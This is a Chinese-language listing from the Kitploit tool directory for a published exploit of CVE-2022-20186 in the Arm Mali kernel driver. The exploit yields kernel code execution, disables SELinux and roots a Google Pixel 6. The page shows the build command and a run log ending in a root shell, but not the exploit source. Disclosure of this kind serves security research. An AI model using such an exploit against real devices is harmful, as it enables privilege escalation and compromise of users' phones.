Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-20186 — 针对 Arm Mali 内核驱动中 CVE-2022-20186 的漏洞利用,实现任意内核代码执行以禁用 SELinux 并在 Google Pixel 6 上获得 root 权限。 | Kitploit
工具/GitHubGitHub/smiletablabo/cve-2022-20186
Android安全权限提升漏洞分析漏洞利用红队二进制利用
GitHubsmiletablabo/cve-2022-20186

CVE-2022-20186

针对 Arm Mali 内核驱动中 CVE-2022-20186 的漏洞利用,实现任意内核代码执行以禁用 SELinux 并在 Google Pixel 6 上获得 root 权限。

查看仓库
1112年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

针对CVE-2022-20186的漏洞利用

相关分析文章可在此处查阅。这是我在2022年1月报告的Arm Mali内核驱动程序中的一个漏洞。该漏洞可用于从不可信的应用程序域获得任意内核代码执行权限,进而禁用SELinux并获得root权限。

该漏洞利用已在Google Pixel 6上测试,支持从2021年11月到2022年2月的补丁级别。通过更改几个镜像偏移量,可以轻松添加对其他固件的支持。作为参考,我使用了以下命令与ndk-21中的clang进行编译:

root@kitploit:~
android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang mali_alias.c -o mali_alias

该漏洞利用很少失败,可以在不崩溃设备的情况下重试。如果成功,它应该禁用SELinux并获得root权限。

root@kitploit:~
oriole:/ $ /data/local/tmp/mali_alias                                                                                             
fingerprint: google/oriole/oriole:12/SQ1D.220205.004/8151327:user/release-keys
tracking page 0x6ff794e000
drain 0x6d5b200000
gpu_va[0] 6ff6698000
gpu_va[1] 6ff6695000
alias 0x6ff6693000
overwrite addr : 6ff370051c 51c
overwrite addr : 6de310051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
result 50
overwrite addr : 6ff370051c 51c
overwrite addr : 6de310051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
result 50
oriole:/ # 
下载工具